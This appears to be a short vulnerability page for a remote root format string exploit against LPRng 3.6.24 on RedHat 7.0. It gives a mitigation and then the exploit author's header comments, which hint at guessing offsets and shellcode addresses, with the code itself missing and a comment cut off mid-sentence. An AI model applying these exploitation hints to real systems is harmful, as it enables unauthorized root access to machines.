Remote Root Exploit for Linux x86 – LPRng-3.6.24-1 (RedHat 7.0)

The RedHat 7.0 replaced the BSD lpr with the LPRng package which is vulnerable to format string attacks because it passes information to the syslog incorrectly. An attacker can get remote root access on machines running RedHat 7.0 with lpd running (port 515/tcp) if it is not fixed.

Mitigation:

Update to the latest version of LPRng (3.6.25)

 *    REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 (RedHat 7.0)
 *
 * The RedHat 7.0 replaced the BSD lpr with the LPRng package which is 
 * vulnerable to format string attacks because it passes information
 * to the syslog incorrectly.
 * You can get remote root access on machines running RedHat 7.0 with
 * lpd running (port 515/tcp) if it is not fixed, of course (3.6.25).
 *
 * bonus: I tested it too on slackware 7.0 with LPRng3.6.22-1, remember
 * is -not- installed by default (isnt a package of the slackware).
 *
 * and,.. this code is for educational propourses only, do not use
 * it on remote machines without authorization.
 *
 * greets: bruj0, ka0z, dn0, #rdC and #flatline

 * of when we start to control the formats strings), start from 290 until
 * 330, it should be enough.
 * and if it still dont work,, :|, try with the offset of the shellcode
 * address, this buffer has nops, so it shouldnt be difficult to guess.
 * make a .sh! :)
 * of course, you can start gdb on your box(es) and dont guess nothing
 * just inspect the program and get the correct values!
